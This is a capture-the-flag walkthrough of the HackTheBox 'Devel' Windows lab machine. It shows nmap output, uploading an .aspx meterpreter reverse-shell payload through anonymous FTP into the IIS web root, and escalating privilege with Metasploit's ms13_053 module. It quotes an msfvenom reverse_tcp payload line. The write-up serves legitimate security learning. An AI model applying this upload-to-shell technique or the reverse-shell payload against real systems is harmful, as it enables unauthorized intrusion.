HackTheBox - Devel (Easy)

HackTheBox - Devel (Easy)

An easy Windows box from HTB


Welcome to my first write up on a HackTheBox machine.

Still in the topic of covering the absolute basics, we will be going over a series of easy HTB machines.

Find the box for free here: HackTheBox - Devel

User flag


A quick nmap scan shows the only 2 ports open here are 21 and 80:

21/tcp open  ftp
80/tcp open  http

Let’s dig a bit deeper see if we find something juicy!

nmap -sV -sC -p21,80
Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-23 10:00 EDT
Nmap scan report for
Host is up (0.042s latency).

21/tcp open  ftp     Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 03-18-17  02:06AM       <DIR>          aspnet_client
| 03-17-17  05:37PM                  689 iisstart.htm
|_03-17-17  05:37PM               184946 welcome.png
| ftp-syst: 
|_  SYST: Windows_NT
80/tcp open  http    Microsoft IIS httpd 7.5
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
|_http-title: IIS7
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows


Starting with connecting to the website, we see a default screen for IIS7: recon1

We can observe there are some files in the FTP server that belong to the website. If we open the devtools we see the image we found is called welcome.png and if we access http://<box IP>/iisstart.htm we find the same index page we are presented with, therefore we can assume the FTP server is sitting in the same folder than the website, and guess what! The nmap scan says it’s our lucky day, because we have anonymous access to it!


Since the machine is a windows server hosting an old IIS version, we can try and upload a meterpreter payload to the FTP server and get to execute it in the website. Version 7.5 is able to run .aspx files so we will make our payload in this format.

If we don’t know how msfvenom works, we can do msfvenom -h to see the options:

MsfVenom - a Metasploit standalone payload generator.
Also a replacement for msfpayload and msfencode.
Usage: /usr/bin/msfvenom [options] <var=val>
Example: /usr/bin/msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> -f exe -o payload.exe

We can see the exact payload we need right there, we will only need to change the LHOST, we will also add the LPORT, change the file type to aspx and the name to personalise it:

weapon Creating the payload


Now we only need to upload it to the FTP server, spin a metasploit handler and open the payload from our browser!

listener Setting up the listener

upload Uploading the file

pwned We’re in

If we then head to the user’s desktop we find the user flag: user flag User Flag

Privesc + System flag

Since we are inside a Windows 7 box, chances are the machine is vulnerable to a lot of exploits already loaded into Metasploit. We can run a local exploit suggester module to quickly help us enumerate the vulnerabilities:

recon2 Exploit suggester module

We will try any of the modules suggested, let’s say ms13_053_schlamperei. We only need to load it, set the session in which out meterpreter shell is located at, hit run and let the magic happen.


Just like earlier, heading over to the admin desktop we find the admin flag:

system flag Root flag

References and further reading

Anon., 2018. Rapid7 - “Windows NTUserMessageCall Win32k Kernel Pool Overflow (Schlamperei)” [Online]
[Last accessed Apr 25th, 2021]

Anon., 2021. OWASP - “Unrestricted File Upload” [Online]
[Last accessed Apr 25th, 2021]

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